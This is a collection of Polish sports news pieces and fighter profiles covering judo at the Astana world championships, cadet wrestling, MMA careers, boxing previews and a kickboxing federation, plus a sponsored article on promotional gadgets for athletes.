Jako ostatnia z naszych zawodniczek na tatami zaprezentowała się Katarzyna Furmanek w kategorii +78kg. Judoczka AZS AWFiS Gdańsk bardzo dobrze rozpoczęła udział w mistrzostwach, a w zasadzie szybko i bezproblemowo. Polka potrzebowała zaledwie dwudziestu czterech sekund, aby pokonać Giordannę Gutierrez z Chile. W 1/32 finału rywalką Furmanek była Ksenia Chibisowa. Rosjanka zwyciężyła, jednak nie zdominowała swojej rywalki. Furmanek przegrała przez dyskwalifikację, do której podstawą były cztery kary shido.

Sobota została okraszona zaledwie jedną zwycięską walką naszych judoków. Szybko z mistrzostwami pożegnał się Jakub Wójcik w kategorii 100kg. Kyle Reyes wygrał przez ippon. Maciej Sarnacki w kategorii +100kg był jedną z polskich nadziei medalowych. Judoka Gwardii Olsztyn uznawany jest obecnie za najlepszego zawodnika w kraju bez podziału na kategorie wagowe. Przed mistrzostwami pokazał się z dobrej strony w zawodach w Tiumeniu, co dawało podstawę do stawiania go w roli faworyta do podium. W 1/32 finału Polak trafił na ósmego zawodnika światowego rankingu Adama Okruashviliego. Gruzin wygrał dzięki waza-ari.

Legendarny Riner

To, że Francuz jest wybitnym judoką wiadomo nie od dziś. Teddy Riner przekracza granice. W Astanie sięgnął po raz ósmy po mistrzostwo świata. Francuz w finale kategorii +100kg okazał się lepszy od Ryu Shichinohe. Obaj spotkali się również przed rokiem w Czelabińsku i wtedy, jakżeby inaczej, triumfował wielki Riner. Brązowy medal trafił w ręce pogromcy Macieja Sarnackiego – Okruashiviliego. Na trzecim miejscu podium stanął również Jakiw Chammo.

Warto nadmienić, że Riner dokonał nie lada wyczynu. Złoto zdobyte w Astanie sprawiło, że trafił na karty historii. Francuz wyprzedził na liście wszech czasów Ryoko Tani, która siedem razy sięgnęła po tytuł mistrzyni świata.

Lukas Krpalek w Astanie nie wywalczył medalu. Czech w kategorii 100kg zajął piąte miejsce. Złoto trafiło w ręce Ryunosuke Hagi, który w finale pokonał Karlema-Richarda Freya. Brązowe medale dla Belga Toma Nikiforova oraz Niemca Dimitri Petersa. Kategoria +78kg wśród pań bez zawodniczki z Europy w strefie medalowej. Cieszą się Chińczycy z triumfu Yu Song, która w finale pokonała Japonkę Megumi Tachimoto. Podium uzupełniły: Kanae Yamabe i Idalys Ortiz.

KM

Gadżety reklamowe dla sportowców – co im się podoba?

Sportowcy są specyficzną grupą użytkowników i konsumentów, którzy są odbiorcami wielu różnych produktów. Aktywność jest tu kluczem do sukcesu przy wyborze odpowiednich dla nich gadżetów reklamowych.

Aktywny styl życia

Na całym świecie coraz więcej ludzi wyznaje zdrowy styl życia. Chce być aktywnym i w dobrej kondycji fizycznej, aby na dłużej móc zachować młodość. Sportowcy znakomicie wpisują się w ten trend. Mają pasję, której całkowicie się oddają. Wielu z nich świetnie zarabia robiąc to, co lubi. Sport to zdrowie – taka dewiza jest jak najbardziej prawdziwa i mamy tego świadomość.

Dlatego też w wielu kampaniach promocyjnych i reklamowych coraz częściej wykorzystuje się przeróżne elementy sportu i związanych z nim osób. Widząc człowieka sukcesu – wysportowanego i aktywnego, chętniej kupimy dany produkt. Z drugiej strony, sami sportowcy wykorzystują swoją pozycję zajmowaną w społeczeństwie, aby móc zarabiać jako „nośnik reklamy”. Szukają sponsorów, którzy byliby w stanie finansować na przykład ich liczne podróże z uwagi na rozgrywane na różnych kontynentach zawody sportowe.

Zawodowe uprawianie sportu sporo może kosztować. Wiedzą o tym najlepsi tenisiści, z Agnieszką Radwańską na czele. Na najwyższych szczeblach kariery zawodowej w wielu dyscyplinach sportowych swobodnie zarabia się na podróżowanie związane z uprawianym zawodem, ale na początku potrzebny jest sponsor. Może nim zostać np. producent odzieży sportowej, albo każda inna marka, którą sportowiec będzie chciał reprezentować.

Jakie gadżety dla sportowca?

Kiedy sportowiec i sponsor rozpoczynają współpracę albo planują jej rozpoczęcie, częstą praktyką jest wręczanie gwieździe sportu różnorodnych gadżetów. Najlepiej, aby były one dla niej jak najbardziej przydatne. Dla tenisisty może to być obszerna, sportowa torba z widocznym logo reklamowanej marki, albo worek na dodatkowy strój na siłownię. Może to być czapeczka, daszek sportowy od słońca albo ubrania dopasowane do płci i dyscypliny sportowej uprawianej przez daną osobę. Świetnie sprawdzają się i inne gadżety, niekoniecznie spójne z pasją sportowca – zestaw do gry bule, zestaw do golfa czy też do badmintona. To, że sportowiec uprawia piłkę siatkową nie oznacza, że od czasu do czasu nie chciałby spróbować nieco innej dyscypliny sportowej.

Sportowcy bardzo lubią przydatne, praktyczne gadżety. Pokrowiec na rakietę tenisową, wózek na kije do golfa albo etui na inne akcesoria sportowe to niewątpliwie ciekawe gadżety reklamowe. Można wręczyć koszulkę z nazwiskiem sportowca, opatrzonym logo producenta, czy też zestaw piłek do golfa. To tylko jedne z licznych pomysłów gadżetów reklamowych dla sportowców. Powinny one mieć zwykle związek z szeroko rozumianą aktywnością fizyczną, ale nie musi to być absolutnie wymagane. Sportowcy ucieszą się również z gadżetów reklamowych elektronicznych czy praktycznych do zastosowania w domu lub w ogrodzie.

Marcin Walas

Sportowe gadżety reklamowe znajdziesz tutaj: www.easyb2b.pl/sport.

Daszkiewicz wicemistrzem świata

Norbert Daszkiewicz szedł jak burza w mistrzostwach świata kadetów w zapasach, które odbywają się w Sarajewie. Polak był o krok od złotego medalu.

Bacznie śledzimy poczynania naszych zapaśników podczas światowego czempionatu. Do tej pory Polska zapisała na swoim koncie dwa medale. Do końca pozostały jeszcze dwa dni rywalizacji, w których zaprezentują się panowie w stylu wolnym.

Rosjanin zbyt twardy

Daszkiewicz rywalizował w kategorii 69kg w stylu klasycznym, gdzie zaprezentowało się dwudziestu siedmiu zapaśników. W drodze do finału Polak imponował przygotowaniem, kondycją oraz konsekwencją. Wyraźnie widać było, że Daszkiewicz wyciągnął wnioski z mistrzostw Europy, gdzie nie zaprezentował się najlepiej. W mistrzostwach świata nastąpiła poprawa. Daszkiewicz doskonale przygotował się do czempionatu, w którym wygrał cztery pojedynki.

Na początku zawodnikowi z Wrocławia przyszło rywalizować z Elisaidem Clisadem, który nie sprawił Polakowi trudności. W kolejnym pojedynku Daszkiewicz odprawił z turnieju Nikooloza Tchikadze. Gruzin ma wysoki potencjał, o czym świadczy fakt, że w Sarajewie sięgnął po brązowy medal. Ostatnią przeszkodą na drodze Polaka do strefy medalowej był Shayan Afifi , jednak po wyrównanej walce triumfował Daszkiewicz. Abudakr Alimov był półfinałowym rywalem zawodnika z Wrocławia. Daszkiewicz wykonał drogę w stronę triumfu i w finale spotkał się z Aleksandrem Komarowem.

Polak nie miał najlepszych wspomnień z rywalizacji z Rosjaninem. Komarow wyeliminował Daszkiewicza z rywalizacji w mistrzostwach Europy. W Sarajewie doszło do powtórki. Komarow po raz kolejny udowodnił swoją wyższość. Mimo to Daszkiewicz osiągnął wielki sukces, gdyż tak należy rozpatrywać wywalczenie srebrnego medalu mistrzostw świata kadetów.

Wcześniej po brązowy medal sięgnął Patryk Kamiński w kategorii 100kg. Zapaśnik Cementu Gryfa Chełm w decydującej walce uporał się z Valerim Ivanovem.

Kulwicka nie powtórzyła sukcesu

W mistrzostwach Europy kadetów w Suboticy z dobrej strony pokazały się nasze zapaśniczki. Alicja Czyżowicz w kategorii 52kg i Ewelina Ciunek w 65kg sięgnęły po srebrne medale, a Dominika Kulwicka w 56kg zdobyła brąz.

Tym razem Kulwickiej nie udało się stanąć na podium. Nasza zapaśniczka w Sarajewie stoczyła zaledwie jedną walkę, jednak trafiła na wymagającą rywalkę. Shabnam Ahmadova wypunktowała Polkę i stanęła na podium. W ostatecznym rozrachunku zawodniczka z Azerbejdżanu sięgnęła po brązowy medal. Z kolei Kulwicką sklasyfikowano na osiemnastym miejscu. W kategorii 56kg wystąpiły dwadzieścia trzy zapaśniczki.

Po jednej walce w Sarajewie stoczyły również Martyna Cieślak (38kg), Magdalena Majos (46kg), Renata Nieściur (49kg) i Marlena Kister (65kg). Alicja Czyżowicz przeszła 1/8 finału, jednak w ćwierćfinale kategorii 52kg nie sprostała Leylii Gurbanovej z Azerbejdżanu. Po porażce z Mei Shindo występ w repasażach czeka Justynę Walotek w kategorii 70kg.

KM

Josh Barnett

Amerykański zawodnik MMA oraz wrestler urodzony 10 listopada 1977 roku w Seattle. Pierwszą profesjonalną walkę stoczył w styczniu 1997 roku. Wygrywając sześć pojedynków z rzędu został zaangażowany przez UFC. W debiucie podczas gali UFC 27 pokonał przez TKO Gana McGee. W swojej drugiej walce, w lutym 2001 roku doznał pierwszej porażki w karierze, gdy został znokautowany przez Pedro Rizzo. Następne dwa pojedynki z Semem Schiltem i Bobbym Hoffmanem wygrał przed czasem, dzięki czemu otrzymał szansę zmierzenia się z Randym Couture’em o mistrzostwo UFC wagi ciężkiej. Do starcia doszło 22 marca 2002 roku  podczas gali UFC 36. W pierwszej rundzie przewagę miał Randy Couture, podobnie jak na początku drugiej rundy, gdzie obalił Barnetta. Barnett jednak zdołał odwrócić losy walki, gdy w połowie drugiej rundy zdobył dominującą pozycje w parterze, a następnie zakończył pojedynek przez TKO. Tym samym odebrał Couterowi tytuł stając się najmłodszym mistrzem wagi ciężkiej w UFC. Przeprowadzone testy antydopingowe wykazały jednak w organizmie Barnetta obecność zabronionych substancji. Komisja sportowa Stanu Nevada zawiesiła go 26 lipca 2002 roku na sześć miesięcy, a organizacja UFC pozbawiła tytułu. Wskutek wpadki dopingowej wyjechał do Japonii, gdzie od lutego 2003 do maja 2004 występował jako wrestrel w organizacji New Japan Pro Wrestling. Równocześnie kontynuował karierę MMA. 31 sierpnia 2003 roku pokonał w Tokio przez duszenie zza pleców Yukiego Kondo, zdobywając tytuł króla Pancrase w kategorii otwartej. Cztery miesiące później, podczas organizowanej przez Antonio Inokiego sylwestrowej gali Inoki Bom-Ba-Ye 2003 po raz drugi w karierze wygrał z Semem Schiltem.Sukcesy te sprawiły, że organizacja PRIDE FC podpisała z nim kontrakt. Barnett zadebiutował w niej w październiku 2004, podczas gali PRIDE 28, w przegranym pojedynku z Mirko Filipoviciem. Była to pierwsza porażka Amerykanina od 3 lat, która kosztowała go ciężką kontuzję barku, która wyeliminowała go ze startów na rok. W pierwszej walce po powrocie zmierzył się w rewanżu z Filipoviciem. Ponownie przegrał tym razem przez jednogłośną decyzję. Pierwsze zwycięstwo w Pride zanotował w lutym 2006 roku gdy podczas Pride 31 wygrał przez duszenie zza pleców z Kazuhiro Nakamurą. Następnie wystartował w turnieju PRIDE Openweight Grand Prix. W pierwszej rundzie i ćwierćfinale pokonał odpowiednio Aleksandra Jemieljanienkę i Marka Hunta. Półfinały i finały zostały rozegrane jednego dnia 10 września 2006 roku. Barnett awansował do finału po wyrównanym pojedynku z byłym mistrzem PRIDE w wadze ciężkiej Antonio Rodrigo Nogueirą, którego pokonał przez niejedno głośną decyzję sędziowską.  W walce o mistrzostwo zmierzył się po raz trzeci z Filipoviciem. Chorwat dominował od samego początku, dwukrotnie posyłając Amerykanina na deski.  W końcu po 5 minutach i 32 sekundach walki, zmusił Barnetta do poddania się na skutek ciosów pięściami w parterze. W 2006 roku Barnett stoczył w PRIDE jeszcze dwie walki: wygraną przed czasem z Pawłem Nastulą i przegrany przez decyzję rewanż z Antonio Nogueirą.  W 2007 roku PRIDE została sprzedana właścicielom UFC i w praktyce przestała funkcjonować, a Barnett został wolnym agentem. Na ring powrócił wiosną 2008 roku, gdy wystąpił  na dwóch pierwszych galach nowo powstałej japońskiej organizacji World Victory Road, pokonując Hidehiko Yoshidę i Jeffa Monsona. Po sześciu latach od chwili odejścia z UFC, Barnett stoczył w lipcu 2008 roku pierwszą walkę na terenie USA. Podczas gali Affliction: Banned zrewanżował się Pedro Rizzo za nokaut z przed siedmiu lat, samemu nokautując Brazylijczyka. W swoim drugim pojedynku dla Affliction pokonał przed czasem Gilberta Yvela. Trzecią walką miała być zaplanowana na 1 lipca 2009 konfrontacja z ostatnim mistrzem PRIDE Fiodorem Jemieljanienką. Pojedynek ten jak i cała gala, został jednak odwołany z powodu pozytywnego testu antydopingowego Barnetta. We wrześniu 2010 roku podpisał kontrakt z Strikeforce. W 2011 roku wystartował w 8-osobowym turnieju Strikeforce World Grand Prix skupiającym najlepszych zawodników tej organizacji w wadze ciężkiej. W czerwcu w jednym z ćwierćfinałów pokonał Bretta Rogersa, natomiast we wrześniowym półfinale pokonał Sergieja Charitonowa. W walce finałowej, która odbyła się 20 maja 2012 roku, zmierzył się z Danielem Cormierem. Przegrał z  nim przez jednogłośna decyzję sędziów. Na początku 2013 roku podpisał kontrakt z UFC. 31 sierpnia 2013 roku pokonał Franka Mira przez TKO w pierwszej rundzie. 28 grudnia 2013 roku przegrał przez nokaut z Travisem Brown.

Cleverly na drodze Fonfary

Polski bokser pnie się w górę w wadze półciężkiej. Kolejnym rywalem Andrzej Fonfary na zawodowym ringu będzie Nathan Cleverly.

Pojedynek zaplanowany jest na 16 października w UIC Pavilion w Chicago i będzie głównym wydarzeniem gali Premier Boxing Champions. W tym roku obaj pięściarze stoczyli po jednej walce, które kończyły się ich triumfami.

Kolejne wyzwanie

Fonfara dostał okazję do zaprezentowania swoich możliwości w Chicago, czyli miejscu bliskim jego sercu. W kwietniu w StubHub Center polski pięściarz spotkał się z Julio Cesarem Chavezem Jr. Fonfara pokazał, że ma potencjał, który pozwala widzieć w nim czołowego boksera wagi półciężkiej. Polak rozprawił się z legendarnym Chavezem Jr, posyłając go w dziewiątej rundzie na deski. Świat boksu bacznie przygląda się postępom 27-latka. Już w pojedynku z mistrzem świata WBC Adonisem Stevensonem Polak pokazał kawał dobrego pięściarstwa. Fonfara nie przestraszył się utytułowanego rywala i stoczył z nim wyrównany pojedynek, jednak sędziowie wskazali na zwycięstwo czempiona. Potem przyszła zwycięska walka z Doudou Ngumbu, a następnie propozycja pojedynku z Chavezem. Klasa rywali Polaka stopniowo wzrasta. Cleverly jest kolejnym mocnym nazwiskiem na zawodowej drodze Fonfara.

Polak konsekwentnie buduje swoją pozycję. Do tej pory Fonfara zanotował na zawodowym ringu trzy porażki. W 2008 roku przegrał z Derrickiem Findleyem, a następnie odniósł piętnaście zwycięstw, które doprowadziły go do rywalizacji ze Stevensonem. Obecnie Polak znajduje się w czołówce kategorii ciężkiej. Teraz dostaje szansę walki o pas międzynarodowego mistrza WBC, w którego posiadaniu jest Cleverly.

Kolejny krok?

Nathan Cleverly ma już w swojej karierze polski wątek. W maju 2011 roku zmierzył się z Aleksym Kuziemskim i już w czwartej rundzie mógł się cieszyć ze zwycięstwa. Powodem była kontuzja rywala.

Walijczyk to utytułowany pięściarz, który w swoim dorobku ma mistrzostwo świata WBO. Przez dwa lata Cleverly skutecznie bronił pasa. Mistrzostwo trafiło do jego rąk w związku z kontuzją oka Jurgena Brahmera. Do pojedynku pomiędzy Walijczykiem, a Niemiec miało dojść w maju 2011 roku. Brahmer został pozbawiony pasa, a Cleverly stoczył walkę z Kuziemskim. W sierpniu 2013 roku Walijczyk stracił pas w starciu z Sergiejem Kovaliewem. Od tamtego czasu przegrał jeszcze jeden pojedynek.

W tym roku Walijczyk stoczył jedną walkę. Tomas Man już w pierwszej rundzie uznał wyższość swojego rywala. Cleverly chce ponownie wejść na szczyt. Podobnie jest z Fonfarą, dla którego rywalizacja z Walijczykiem ma być kolejnym krokiem na drodze do rewanżu ze Stevensonem. Polak jest zdeterminowany, aby wejść na szczyt wagi półciężkiej. Cleverly to wymagający i doświadczony rywal, ale jest jeszcze młody. Obaj mają ambicje i to już jest czynnikiem, którzy może sprawić, że październikowa walka będzie arcyciekawa.

KM

Anthony Pettis

Amerykański zawodnik MMA urodzony 27 stycznia 1987 roku w Milwaukee.  W MMA zadebiutował w 2007 roku na gali Gladiators Fighting Series – Super Brawl. Pokonał wtedy innego debiutanta Toma Erspamera przez TKO już w 24 sekundzie pojedynku. Przez następne dwa lata był związany z organizacją Gladiators Fighting Series dla której stoczył jeszcze siedem walk wszystkie zwycięskie. Zdobył tytuł mistrzowski tej organizacji i obronił go dwukrotnie. Na przełomie 2008/2009 roku podpisał kontrakt z World Extreme Cagefighting. Swój pierwszy pojedynek dla WEC stoczył 7 czerwca 2009 roku na gali WEC 41 poddając Mike’a Campbella duszeniem trójkątnym. Drugi pojedynek stoczył 19 grudnia przeciwko pochodzącemu z Polski Bartowi Palaszewskiemu. Po trzech rundach wyrównanego pojedynku sędziowie niejedno głośnie orzekli zwycięstwo Polaka. To była pierwsza porażka Pettisa w MMA. Kolejny pojedynek w WEC stoczył 6 marca 2010 roku. Znokautował wtedy wysokim kopnięciem i ciosami w parterze Dannego Castillo.  Po szybkim zwycięstwie nad Castillo kolejną walkę stoczył miesiąc później. Jego rywalem był Alex Karalexis. Pettis wygrał poddając swojego rywala duszeniem trójkątnym. 18 sierpnia 2010 roku wystąpił na jubileuszowej 50. Gali World Extreme Cagefighting. Jego przeciwnikiem był Shane Roller. Na 9 sekund przed końcem pojedynku Pettis poddał rywala duszeniem trójkątnym. Po serii wygranych Anthony otrzymał możliwość stoczenia walki o pas mistrzowski wagi lekkiej, który był w posiadaniu Bensona Hendersona. Do walki doszło 16 grudnia 2010. Mistrzowski pojedynek trwał cały dystans pięciu rund w czasnie których przeważał Pettis punktując akcjami bokserskimi. Ostatecznie wygranym został Pettis zdobywając pas mistrzowski. Na początku 2011 roku WEC zostało wchłonięte przez UFC. Swój pierwszy pojedynek stoczył 4 czerwca 2011 roku na gali The Ultimate Fighter 13 Finale. Przeciwnikiem Pettisa był Clay Guida. Po trzech rundach pojedynku, sędziowie orzekli zwycięstwo Guidy. Po przegranym debiucie w UFC, stoczył wygrany pojedynek z Jeremym Stephensem. Kolejny jego pojedynek został zaplanowany 26 lutego 2012. Jego rywalem został Joe Lauzon, którego Pettis znokautował w niespełna półtorej minuty. Na UFC on Fox 6 stoczył zwycięski pojedynek z Donaldem Cerrone, pokonując go przez nokaut.  Po krótkim czasie Pettis zasugerował, że mógłby stoczyć walkę z mistrzem Bensonem Hendersonem którego w przeszłości pokonał. Do starcia doszło 31 sierpnia na gali UFC 164. Anthony i tym razem pokonał mistrza i zdobył tytuł. 6 grudnia 2014 roku poddał Gilberta Melendeza w drugiej rundzie.  14 marca 2015 roku stracił pas na rzecz Brazylijczyka Rafaela Dos Anjosa z którym przegrał na punkty. 17 stycznia 2016 roku Pettis przegrał przez niejednogłośną decyzję z Eddie Alvarezem. 

Dominick Cruz

Amerykański zawodnik MMA pochodzenia Meksykańskiego  urodzony 3 września 1985 roku. W MMA zadebiutował w 2005 roku. Na początku swojej kariery związał się  z organizacją RITC, a później także Total Combat. Po wygranych 9 walkach z rzędu podpisał kontrakt z dużą amerykańską organizacją WEC. Cruz zadebiutował w WEC na gali WEC 26, 24 marca 2007 roku. Walczył wtedy o pas mistrzowski w wadze piórkowej z Urijahem Faberem. Przegrał przez duszenie gilotynowe w pierwszej rundzie, doznając swej pierwszej porażki w karierze. W 2008 roku zadebiutował w wadze koguciej. Po pokonaniu kolejno Charliego Valencii, Iana McCalla, Ivana Lopeza oraz Josepha Benavideza zmierzył się z mistrzem wagi koguciej organizacji WEC, Brianem Bowlesem. Starcie zakończyło się na korzyść Cruza. Po raz pierwszy bronił tytułu w walce rewanżowej przeciwko Josephowi Benavidezowi. Walka zakończyła się wygraną mistrza. Ostatnia gala WEC obyła się 16 grudnia, a jedną z rozegranych walk był pojedynek Cruza ze Scottem Jorgensenem. Cruz wygrał przez decyzję, stając się tym samym pierwszym w historii czempionem UFC w wadze koguciej. 2 lipca 2011 roku stoczył swoją pierwszą walkę w UFC. Jego rywalem był Urijah Faber, a stawką pojedynku posiadany przez Cruza pas mistrzowski. Cruz obronił go, wygrywając przez jednogłośną decyzję sędziowską. Następny pojedynek w obronie tytułu stoczył 1 października 2011 roku przeciwko Demetriousowi Johnsonowi na gali UFC Live 6. Cruz wygrał ten pojedynek jednogłośną decyzją sędziów. 27 września 2014 roku znokautował Takeya Mizugaki.  17 stycznia 2016 w walce o pas mistrzowski z T.J. Dillashaw, Cruz pokonał mistrza i odebrał mu tytuł mistrza świata. 4 czerwca 2016 roku w obronie pasa mistrzowskiego pokonał Urijah Fabera przez jednogłośną decyzję sędziów.

DOKUMENT: Pierwszy roczek DSF Kickboxing Challenge

Zapraszamy do obejrzenia pierwszego odcinka dokumentu z serii: Pierwszy roczek federacji DSF Kickboxing Challenge.

Federacja DSF Kickboxing Challenge powstała na przełomie czerwca i lipca 2014 r. a już we wrześniu 2014 r. zorganizowała pierwszą galę zawodową w Ząbkach. Kolejna gala miała miejsce w grudniu 2014 r. również w Ząbkach. Jak wspomina prezes grupy DSF Kickboxing Challenge Sławomir Duba "…były to gale na próbę…aby zweryfikować zainteresowanie rynku: środowiska kibicowskiego, sportowego i biznesowego czy jest zainteresowanie kickboxingiem w Polsce…". Pierwsze dwie premierowe gale okazały się pełnym sukcesem.

Po dwóch galach w Ząbkach przyszedł czas na większą halę i inne miejsce. Drogi skierowały federację do Piaseczna pod Warszawą. I…kolejny sukces organizacyjny, pełna hala ludzi (blisko 1.400 osób) blisko sto jedenaście tysięcy przed monitorami komputerów i telewizorów podczas realizacji i transmisji telewizyjnej on-line.

Czwarta gala to już wyzwanie organizacyjne i skok na inny level. Gala DSF Kickboxing Challenge 4 odbyła się na hali Arena Ursynów w Warszawie. Kolejny raz okazało się, że pomysł z organizacja zawodowych gal w kickboxingu to coś, na co fani sportów uderzanych czekali od lat a dyscyplina przeżywa swój renesans i wraca do lat świetności z czasów Marka Piotrowskiego, Przemka Salety czy też Piotra Siegoczyńskiego pierwszego polskiego Zawodowego Mistrza Świata w tej dyscyplinie a jednocześnie dyrektora sportowego federacji DSF Kickboxing Challenge.

DSF Kickboxing Challenge w piatej odsłonie to już inne miasto inna rzeczywistość wiele kilometrów od Warszawy. Federacja DSF tym razem podbija Włocławek. Gala we Włocławku to już blisko milion widzów przed monitorami komputerów i telewizorów, ponieważ gala była transmitowana nie tylko on-line ale także przez tradycyjne telewizje dzięki sieciom kablowym. Do tego kilka tysięcy na hali…cóż więcej trzeba.

Przed nami kolejna odsłona już szósta, tym razem wrzesień 2015 i Orlen Arena Płock…CDN…

[kod]

Pogorzelec tuż za podium

Daria Pogorzelec była jedną z naszych nadziei na medal mistrzostw świata w judo. Zawodniczka Wybrzeża Gdańsk w Astanie zaprezentowała się z dobrej strony, jednak na podium nie stanęła.

Piąte miejsce jest przekleństwem dla judoki. Z jednej strony to dobry wynik, ale z drugiej sukces był o krok. Daria Pogorzelec pokonywała kolejne szczeble turnieju, jednak w półfinale jej dobra passa zakończyła się.

Najlepszy występ

Pogorzelec zaliczyła najlepszy występ z polskich zawodników, którzy do tej pory zaprezentowali się w mistrzostwach świata w Astanie. Kibice w Polsce nadal muszą czekać na medal.

Judoczka Wybrzeża Gdańsk rywalizację w Astanie w kategorii 78kg rozpoczęła od starcia z Lkhamdegd Purevjargal, która jest znacznie niżej notowana od Polki w światowym rankingu. Pogorzelec udowodniła swoją wyższość i odniosła pewne zwycięstwo. W 1/32 finału rywalką Polki była dziesiąta zawodniczka światowego rankingu Victoriia Turks. Pogorzelec nie miała zamiaru czekać na rozwój wypadków i aktywnie rozpoczęła pojedynek, który zakończyła przez ippon. Kolejną przeszkodą na drodze naszej judoczki była Mayra Aguiar, czyli ubiegłoroczna mistrzyni świata. Polka pokazała, że jest mocna i odprawiła Brazylijkę, co dało jej awans ćwierćfinału. Koreanka Hyunji Yoon nie była w stanie powstrzymać Pogorzelec. Zawodniczka Wybrzeża Gdańsk awansowała do decydującej rozgrywki, ale tam nie było już tak dobrze. Półfinałowa porażka z Mami Umeki nie była jeszcze końcem marzeń o medalu. Pozostawała walka o trzecie miejsce, w której Pogorzelec przyszło rywalizować z numerem jeden światowego rankingu Marhinde Verkerk. Pojedynek wyrównany, ale medal pojedzie do Holandii. Verkerk wygrała zaledwie jedną karą shido.

Trzeba otwarcie przyznać, że Pogorzelec wykonała kawał dobrej roboty, a do sukcesu zabrakło niewiele. Ten występ trzeba docenić. Pogorzelec udowodniła, że jest czołową zawodniczką świata.

Eliminacyjna porażka Kłys

Rok temu cieszyła się z sukcesu. Katarzyna Kłys w Czelabińsku sięgnęła po brązowy medal, który był ogromnym sukcesem, a zarazem radością. Polskie judo aż jedenaście lat czekało na medal mistrzostw świata. W Astanie Polka nie powtórzyła osiągnięcia z poprzedniego czempionatu.

Kłys w kategorii 70kg wygrała dwa pojedynki i wydawało się, że jest na dobrej drodze, ale w 1/16 finału trafiła na trudną rywalkę. Kim Poling to numer jeden światowego rankingu, jednak Polka radziła sobie dobrze w pojedynku z utytułowaną przeciwniczką. Na sześć sekund przed końcem Kłys straciła punkty, co dało triumf Holenderce. Patryk Ciechomski od wygranej rozpoczął zmagania  w mistrzostwach świata w Astanie w kategorii 90kg. Kolejna walka okazała się jego ostatnią. Polak nie sprostał mocnemu Gruzinowi Bekce Gviniashviliemu.

W kategorii 70kg u pań triumfowała Gevrise Emane z Francji, a w 78kg najlepsza okazała się Mami Umeki, czyli pogromczyni Darii Pogorzelec. U panów w 90kg złoty medal dla Gwaka Don Hana.

KM

Weekend w FightKlubie- Wielkie starcie Meksykanów – Mares kontra Santa Cruz

W FightKlubie czeka na widzów kolejna dawka
najlepszego boksu pod szyldem ESPN Premier Boxing Champions. Tym razem coś
dla fanów niższych kategorii wagowych, gdzie szybkość i ilość uderzeń
może przyprawić o zawrót głowy. Na gali w Los Angeles w kategorii
piórkowej na dystansie 12 rund rękawice skrzyżują mistrz świata w
trzech wagach, Meksykanin Abner Mares oraz jego rodak, mistrz dwóch
kategorii, Leo Santa Cruz. Będzie to zatem mistrzowskie starcie, chociaż
oficjalnie bez mistrzowskiego pasa na szali. Walka będzie toczyć się jednak
o serca kibiców Miasta Aniołów; obaj bohaterowie
uważają Kalifornię i Los Angeles za swój bokserski dom.

Z agresywnymi stylami obu Meksykanów, ten
sierpniowy wieczór nie może skończyć się inaczej niż efektowną
batalią i to właśnie dlatego ten pojedynek jest tak wyczekiwany przez
kibiców i dziennikarzy. Dla szczególnie nastawionego
ofensywnie Santa Cruza, nieco krytykowanego za dobór ostatnich rywali,
będzie to największa walka i największe wyzwanie w karierze.
Najcenniejszymi zwycięstwami 27-latka pozostają do tej pory Cristian Mijares
oraz Eric Morel. Znacznie bardziej obyty jest jednak 2 lata starszy Mares.
Zwycięstwo nad Viciem Darchinyanem, zdobycie tytułów w kategorii
koguciej wiktorią nad Josephem Agbeko, wreszcie triumf nad Anselmo Moreno i
tytuł w wadze piórkowej po efektownej wygranej przed czasem nad
Danielem Ponce De Leonem, predestynowały go do rankingu top 10 bez podziału
na kategorie wagowe.

Obaj bokserzy mieli szansę ze sobą sparować, 7 lat
temu trenowali wspólnie w Maywood Boxing Club. Jak wspomina Santa
Cruz, nie byli wtedy dobrymi kolegami, po prostu wspólnie dzielili
salę treningową. 29 sierpnia w ringu nawet o koleżeńskim nastawieniu nie
może być mowy. Na transmisję zapraszamy w nocy z soboty na niedzielę od 04:00!

Źródło: materiały prasowe

Kolejne eliminacyjne porażki

Polscy judocy nie mogą przekroczyć bariery eliminacji na mistrzostwach świata w Astanie. Trójka naszych reprezentantów pożegnała się z imprezą.

Dwa pojedynki wygrał Jakub Kubieniec w kategorii 81kg, jednak było to za mało, aby myśleć o jakimkolwiek sukcesie. Do tej pory żaden judoka z Polski nie pokonał 1/32 finału.

Dobry start

Do rywalizacji w kategorii 81kg przystąpiło siedemdziesięciu sześciu judoków. W związku z tym Jakub Kubieniec udział w mistrzostwach świata musiał rozpocząć od 1/124 finału. Jednym słowem przed Polakiem stanęło trudne wyzwanie, aby przebić się do czołówki. W pierwszym pojedynku Kubieniec stanął naprzeciw Kodo Nakano. Zawodnik AZS AWF Katowice nie bawił się w zbędną dyplomację i szybko rozstrzygnął pojedynek na swoją korzyść. Kubieniec potrzebował zaledwie czterdziestu jeden sekund, aby odnieść zwycięstwo. Kolejną przeszkodą na drodze Polaka był Rafael Davtyan, jednak Ormianin również nie sprawił większych problemów naszemu zawodnikowi. Przyszedł czas na pojedynek w 1/32 finału. Kubieniec stanął do rywalizacji z Leandro Guilheiro. Brazylijczyk zna się dobrze na judo, gdyż w swoim dorobku ma dwa brązowe medale igrzysk olimpijskich – 2004 i 2008. Guilheiro wygrał przy yuko, co dla Polaka oznaczało koniec przygody z mistrzostwami świata.

W 1/64 finału odpadł Łukasz Błach w kategorii 81kg. Judoka Śląska Wrocław prowadził wyrównaną walkę z Ushangim Margianim. Rywalizacja była remisowa w karach shido – po dwa, ale w końcówce Gruzin zastosował duszenie. Margiani przeprowadził akcję, która zapewniła mu zwycięstwo, gdyż Błach zmuszony był odklepać. Agata Ozdoba w kategorii 63kg dobrze rozpoczęła rywalizację w mistrzostwach świata. W 1/64 finału Polka przez ippon pokonała Ivanę Komlosiovą, jednak w kolejnej walce musiała uznać wyższość rywalki. Ozdobę wyeliminowała Kathrin Unterwurzacher.

Dwa japońskie złota

Rozstrzygnięcia zapadły w kategoriach 57kg (panie) oraz 73kg (panowie). Na tronie zasiedli japońscy judocy.

